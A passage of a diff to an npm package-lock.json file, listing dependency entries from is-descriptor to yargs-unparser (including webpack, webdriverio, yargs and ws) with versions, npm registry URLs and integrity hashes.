"https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "optional": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true, + "optional": true + }, + "is-glob": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", + "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", + "dev": true, + "optional": true, + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "optional": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "optional": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true, + "optional": true + }, + "kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "optional": true + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "optional": true, + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + } + }, + "nan": { + "version": "2.14.1", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.1.tgz", + "integrity": "sha512-isWHgVjnFjh2x2yuJ/tj3JbwoHu3UC2dX5G/88Cm24yB6YopVgxvBObDY7n5xW6ExmFhJpSEQqFPvq9zaXc8Jw==", + "dev": true, + "optional": true + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "optional": true + }, + "readdirp": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", + "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", + "dev": true, + "optional": true, + "requires": { + "graceful-fs": "^4.1.11", + "micromatch": "^3.1.10", + "readable-stream": "^2.0.2" + } + }, + "upath": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", + "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", + "dev": true, + "optional": true + } + } + }, + "wcwidth": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", + "integrity": "sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==", + "peer": true, + "requires": { + "defaults": "^1.0.3" + } + }, + "webdriver": { + "version": "5.23.0", + "resolved": "https://registry.npmjs.org/webdriver/-/webdriver-5.23.0.tgz", + "integrity": "sha512-r7IrbZ2SuTIRyWV8mv4a4hZoFcT9Qt4MznOkdRWPE1sPpZ8lyLZsIEjKCEbHelOzPwURqk+biwGrm4z2OZRAiw==", + "dev": true, + "requires": { + "@types/request": "^2.48.4", + "@wdio/config": "5.22.4", + "@wdio/logger": "5.16.10", + "@wdio/protocols": "5.22.1", + "@wdio/utils": "5.23.0", + "lodash.merge": "^4.6.1", + "request": "^2.83.0" + } + }, + "webdriverio": { + "version": "5.23.0", + "resolved": "https://registry.npmjs.org/webdriverio/-/webdriverio-5.23.0.tgz", + "integrity": "sha512-hxt6Nuu2bBrTsVk7GfoFRTh63l4fRVXlK9U30RtPbHoWO5tcFdyUz2UTgeHEZ54ea1DQEVPfsgFiLnJULkWp1Q==", + "dev": true, + "requires": { + "@wdio/config": "5.22.4", + "@wdio/logger": "5.16.10", + "@wdio/repl": "5.23.0", + "@wdio/utils": "5.23.0", + "archiver": "^3.0.0", + "css-value": "^0.0.1", + "grapheme-splitter": "^1.0.2", + "lodash.clonedeep": "^4.5.0", + "lodash.isobject": "^3.0.2", + "lodash.isplainobject": "^4.0.6", + "lodash.zip": "^4.2.0", + "resq": "^1.6.0", + "rgb2hex": "^0.1.0", + "serialize-error": "^5.0.0", + "webdriver": "5.23.0" + }, + "dependencies": { + "serialize-error": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-5.0.0.tgz", + "integrity": "sha512-/VtpuyzYf82mHYTtI4QKtwHa79vAdU5OQpNPAmE/0UDdlGT0ZxHwC+J6gXkw29wwoVI8fMPsfcVHOwXtUQYYQA==", + "dev": true, + "requires": { + "type-fest": "^0.8.0" + } + }, + "type-fest": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "dev": true + } + } + }, + "webidl-conversions": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz", + "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==" + }, + "webpack": { + "version": "3.12.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-3.12.0.tgz", + "integrity": "sha512-Sw7MdIIOv/nkzPzee4o0EdvCuPmxT98+vVpIvwtcwcF1Q4SDSNp92vwcKc4REe7NItH9f1S4ra9FuQ7yuYZ8bQ==", + "dev": true, + "requires": { + "acorn": "^5.0.0", + "acorn-dynamic-import": "^2.0.0", + "ajv": "^6.1.0", + "ajv-keywords": "^3.1.0", + "async": "^2.1.2", + "enhanced-resolve": "^3.4.0", + "escope": "^3.6.0", + "interpret": "^1.0.0", + "json-loader": "^0.5.4", + "json5": "^0.5.1", + "loader-runner": "^2.3.0", + "loader-utils": "^1.1.0", + "memory-fs": "~0.4.1", + "mkdirp": "~0.5.0", + "node-libs-browser": "^2.0.0", + "source-map": "^0.5.3", + "supports-color": "^4.2.1", + "tapable": "^0.2.7", + "uglifyjs-webpack-plugin": "^0.4.6", + "watchpack": "^1.4.0", + "webpack-sources": "^1.0.1", + "yargs": "^8.0.2" + }, + "dependencies": { + "acorn": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", + "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", + "dev": true + }, + "acorn-dynamic-import": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/acorn-dynamic-import/-/acorn-dynamic-import-2.0.2.tgz", + "integrity": "sha1-x1K9IQvvZ5UBtsbLf8hPj0cVjMQ=", + "dev": true, + "requires": { + "acorn": "^4.0.3" + }, + "dependencies": { + "acorn": { + "version": "4.0.13", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-4.0.13.tgz", + "integrity": "sha1-EFSVrlNh1pe9GVyCUZLhrX8lN4c=", + "dev": true + } + } + }, + "ajv": { + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.2.tgz", + "integrity": "sha512-hOs7GfvI6tUI1LfZddH82ky6mOMyTuY0mk7kE2pWpmhhUSkumzaTO5vbVwij39MdwPQWCV4Zv57Eo06NtL/GVA==", + "dev": true, + "requires": { + "fast-deep-equal": "^2.0.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.1" + } + }, + "ajv-keywords": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.2.0.tgz", + "integrity": "sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=", + "dev": true, + "requires": {} + }, + "ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true + }, + "async": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", + "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", + "dev": true, + "requires": { + "lodash": "^4.17.10" + } + }, + "camelcase": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-1.2.1.tgz", + "integrity": "sha1-m7UwTS4LVmmLLHWLCKPqqdqlijk=", + "dev": true + }, + "cliui": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-2.1.0.tgz", + "integrity": "sha1-S0dXYP+AJkx2LDoXGQMukcf+oNE=", + "dev": true, + "requires": { + "center-align": "^0.1.1", + "right-align": "^0.1.1", + "wordwrap": "0.0.2" + } + }, + "enhanced-resolve": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-3.4.1.tgz", + "integrity": "sha1-BCHjOf1xQZs9oT0Smzl5BAIwR24=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "memory-fs": "^0.4.0", + "object-assign": "^4.0.1", + "tapable": "^0.2.7" + } + }, + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", + "dev": true + }, + "find-up": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", + "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", + "dev": true, + "requires": { + "locate-path": "^2.0.0" + } + }, + "has-flag": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", + "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", + "dev": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "load-json-file": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-2.0.0.tgz", + "integrity": "sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "parse-json": "^2.2.0", + "pify": "^2.0.0", + "strip-bom": "^3.0.0" + } + }, + "os-locale": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-2.1.0.tgz", + "integrity": "sha512-3sslG3zJbEYcaC4YVAvDorjGxc7tv6KVATnLPZONiljsUncvihe9BQoVCEs0RZ1kmf4Hk9OBqlZfJZWI4GanKA==", + "dev": true, + "requires": { + "execa": "^0.7.0", + "lcid": "^1.0.0", + "mem": "^1.1.0" + } + }, + "path-type": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-2.0.0.tgz", + "integrity": "sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM=", + "dev": true, + "requires": { + "pify": "^2.0.0" + } + }, + "read-pkg": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-2.0.0.tgz", + "integrity": "sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg=", + "dev": true, + "requires": { + "load-json-file": "^2.0.0", + "normalize-package-data": "^2.3.2", + "path-type": "^2.0.0" + } + }, + "read-pkg-up": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-2.0.0.tgz", + "integrity": "sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4=", + "dev": true, + "requires": { + "find-up": "^2.0.0", + "read-pkg": "^2.0.0" + } + }, + "string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "dev": true, + "requires": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "requires": { + "ansi-regex": "^3.0.0" + } + } + } + }, + "strip-bom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=", + "dev": true + }, + "supports-color": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.5.0.tgz", + "integrity": "sha1-vnoN5ITexcXN34s9WRJQRJEvY1s=", + "dev": true, + "requires": { + "has-flag": "^2.0.0" + } + }, + "tapable": { + "version": "0.2.8", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-0.2.8.tgz", + "integrity": "sha1-mTcqXJmb8t8WCvwNdL7U9HlIzSI=", + "dev": true + }, + "uglify-js": { + "version": "2.8.29", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-2.8.29.tgz", + "integrity": "sha1-KcVzMUgFe7Th913zW3qcty5qWd0=", + "dev": true, + "requires": { + "source-map": "~0.5.1", + "uglify-to-browserify": "~1.0.0", + "yargs": "~3.10.0" + }, + "dependencies": { + "yargs": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.10.0.tgz", + "integrity": "sha1-9+572FfdfB0tOMDnTvvWgdFDH9E=", + "dev": true, + "requires": { + "camelcase": "^1.0.2", + "cliui": "^2.1.0", + "decamelize": "^1.0.0", + "window-size": "0.1.0" + } + } + } + }, + "uglifyjs-webpack-plugin": { + "version": "0.4.6", + "resolved": "https://registry.npmjs.org/uglifyjs-webpack-plugin/-/uglifyjs-webpack-plugin-0.4.6.tgz", + "integrity": "sha1-uVH0q7a9YX5m9j64kUmOORdj4wk=", + "dev": true, + "requires": { + "source-map": "^0.5.6", + "uglify-js": "^2.8.29", + "webpack-sources": "^1.0.1" + } + }, + "which-module": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", + "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", + "dev": true + }, + "wordwrap": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-0.0.2.tgz", + "integrity": "sha1-t5Zpu0LstAn4PVg8rVLKF+qhZD8=", + "dev": true + }, + "yargs": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-8.0.2.tgz", + "integrity": "sha1-YpmpBVsc78lp/355wdkY3Osiw2A=", + "dev": true, + "requires": { + "camelcase": "^4.1.0", + "cliui": "^3.2.0", + "decamelize": "^1.1.1", + "get-caller-file": "^1.0.1", + "os-locale": "^2.0.0", + "read-pkg-up": "^2.0.0", + "require-directory": "^2.1.1", + "require-main-filename": "^1.0.1", + "set-blocking": "^2.0.0", + "string-width": "^2.0.0", + "which-module": "^2.0.0", + "y18n": "^3.2.1", + "yargs-parser": "^7.0.0" + }, + "dependencies": { + "camelcase": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", + "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", + "dev": true + }, + "cliui": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", + "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", + "dev": true, + "requires": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wrap-ansi": "^2.0.0" + }, + "dependencies": { + "string-width": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", + "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "dev": true, + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + } + } + } + } + } + }, + "yargs-parser": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-7.0.0.tgz", + "integrity": "sha1-jQrELxbqVd69MyyvTEA4s+P139k=", + "dev": true, + "requires": { + "camelcase": "^4.1.0" + }, + "dependencies": { + "camelcase": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", + "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", + "dev": true + } + } + } + } + }, + "webpack-sources": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.1.0.tgz", + "integrity": "sha512-aqYp18kPphgoO5c/+NaUvEeACtZjMESmDChuD3NBciVpah3XpMEU9VAAtIaB1BsfJWWTSdv8Vv1m3T0aRk2dUw==", + "dev": true, + "requires": { + "source-list-map": "^2.0.0", + "source-map": "~0.6.1" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + } + } + }, + "websocket-driver": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.0.tgz", + "integrity": "sha1-DK+dLXVdk67gSdS90NP+LMoqJOs=", + "dev": true, + "requires": { + "http-parser-js": ">=0.4.0", + "websocket-extensions": ">=0.1.1" + } + }, + "websocket-extensions": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.3.tgz", + "integrity": "sha512-nqHUnMXmBzT0w570r2JpJxfiSD1IzoI+HGVdd3aZ0yNi3ngvQ4jv1dtHt5VGxfI2yj5yqImPhOK4vmIh2xMbGg==", + "dev": true + }, + "whatwg-fetch": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz", + "integrity": "sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA==" + }, + "whatwg-url": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", + "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", + "peer": true, + "requires": { + "tr46": "~0.0.3", + "webidl-conversions": "^3.0.0" + }, + "dependencies": { + "webidl-conversions": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", + "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==", + "peer": true + } + } + }, + "whatwg-url-without-unicode": { + "version": "8.0.0-1", + "resolved": "https://registry.npmjs.org/whatwg-url-without-unicode/-/whatwg-url-without-unicode-8.0.0-1.tgz", + "integrity": "sha512-0Uy8mjsG5O8Y53327XL+ZqsrMdxO1CL/6m840SmW5iyRWFvU2zlxS2RzpD3pFFVKYOKCmsKn5JKzWxQ+bImnWA==", + "requires": { + "webidl-conversions": "^5.0.0" + } + }, + "whet.extend": { + "version": "0.9.9", + "resolved": "https://registry.npmjs.org/whet.extend/-/whet.extend-0.9.9.tgz", + "integrity": "sha1-+HfVv2SMl+WqVC+twW1qJZucEaE=", + "dev": true + }, + "which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "requires": { + "isexe": "^2.0.0" + } + }, + "which-module": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-1.0.0.tgz", + "integrity": "sha1-u6Y8qGGUiZT/MHc2CJ47lgJsKk8=", + "dev": true + }, + "which-pm-runs": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/which-pm-runs/-/which-pm-runs-1.0.0.tgz", + "integrity": "sha1-Zws6+8VS4LVd9rd4DKdGFfI60cs=", + "dev": true, + "optional": true + }, + "wide-align": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz", + "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==", + "dev": true, + "requires": { + "string-width": "^1.0.2 || 2" + } + }, + "window-size": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.0.tgz", + "integrity": "sha1-VDjNLqk7IC76Ohn+iIeu58lPnJ0=", + "dev": true + }, + "with": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/with/-/with-7.0.2.tgz", + "integrity": "sha512-RNGKj82nUPg3g5ygxkQl0R937xLyho1J24ItRCBTr/m1YnZkzJy1hUiHUJrc/VlsDQzsCnInEGSg3bci0Lmd4w==", + "dev": true, + "requires": { + "@babel/parser": "^7.9.6", + "@babel/types": "^7.9.6", + "assert-never": "^1.2.1", + "babel-walk": "3.0.0-canary-5" + } + }, + "wordwrap": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz", + "integrity": "sha1-J1hIEIkUVqQXHI0CJkQa3pDLyus=", + "dev": true + }, + "worker-farm": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.6.0.tgz", + "integrity": "sha512-6w+3tHbM87WnSWnENBUvA2pxJPLhQUg5LKwUQHq3r+XPhIM+Gh2R5ycbwPCyuGbNg+lPgdcnQUhuC02kJCvffQ==", + "dev": true, + "requires": { + "errno": "~0.1.7" + } + }, + "wp-vue-i18n": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/wp-vue-i18n/-/wp-vue-i18n-1.1.3.tgz", + "integrity": "sha512-24+ikdIPFHezwzwVHCxm685fA1gbNhIymtORVSWLSk1eWm1GQFJxm42z3hGBPwq2qQ7W2URTmN+mh3cwmA4kJA==", + "dev": true, + "requires": { + "bluebird": "^3.4.1", + "gettext-parser": "^1.2.0", + "glob": "^7.0.5", + "lodash": "^4.14.2", + "minimist": "^1.2.0", + "mkdirp": "^0.5.1", + "tmp": "^0.0.33" + } + }, + "wrap-ansi": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", + "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", + "dev": true, + "requires": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1" + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + }, + "write": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/write/-/write-0.2.1.tgz", + "integrity": "sha1-X8A4KOJkzqP+kUVUdvejxWbLB1c=", + "dev": true, + "requires": { + "mkdirp": "^0.5.1" + } + }, + "write-file-atomic": { + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-2.4.3.tgz", + "integrity": "sha512-GaETH5wwsX+GcnzhPgKcKjJ6M2Cq3/iZp1WyY/X1CSqrW+jVNM9Y7D8EC2sM4ZG/V8wZlSniJnCKWPmBYAucRQ==", + "peer": true, + "requires": { + "graceful-fs": "^4.1.11", + "imurmurhash": "^0.1.4", + "signal-exit": "^3.0.2" + } + }, + "ws": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.2.tgz", + "integrity": "sha512-zmhltoSR8u1cnDsD43TX59mzoMZsLKqUweyYBAIvTngR3shc0W6aOZylZmq/7hqyVxPdi+5Ud2QInblgyE72fw==", + "peer": true, + "requires": { + "async-limiter": "~1.0.0" + } + }, + "xml": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/xml/-/xml-1.0.1.tgz", + "integrity": "sha1-eLpyAgApxbyHuKgaPPzXS0ovweU=", + "dev": true + }, + "xmlcreate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/xmlcreate/-/xmlcreate-1.0.2.tgz", + "integrity": "sha1-+mv3YqYKQT+z3Y9LA8WyaSONMI8=", + "dev": true + }, + "xpath-builder": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/xpath-builder/-/xpath-builder-0.0.7.tgz", + "integrity": "sha1-Z9a7w/ajIOwxfj5jaMVwa2ER3uw=", + "dev": true + }, + "xtend": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.1.tgz", + "integrity": "sha1-pcbVMr5lbiPbgg77lDofBJmNY68=" + }, + "y18n": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz", + "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=", + "dev": true + }, + "yallist": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", + "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", + "dev": true + }, + "yargs": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.0.tgz", + "integrity": "sha1-a6MY6xaWFyf10oT46gA+jWFU0Mg=", + "dev": true, + "requires": { + "camelcase": "^3.0.0", + "cliui": "^3.2.0", + "decamelize": "^1.1.1", + "get-caller-file": "^1.0.1", + "os-locale": "^1.4.0", + "read-pkg-up": "^1.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^1.0.1", + "set-blocking": "^2.0.0", + "string-width": "^1.0.2", + "which-module": "^1.0.0", + "y18n": "^3.2.1", + "yargs-parser": "^5.0.0" + }, + "dependencies": { + "camelcase": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz", + "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=", + "dev": true + } + } + }, + "yargs-parser": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.0.tgz", + "integrity": "sha1-J17PDX/+Bcd+ZOfIbkzZS/DhIoo=", + "dev": true, + "requires": { + "camelcase": "^3.0.0" + }, + "dependencies": { + "camelcase": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz", + "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=", + "dev": true + } + } + }, + "yargs-unparser": { + "version": "1.6.0", + "resolved": 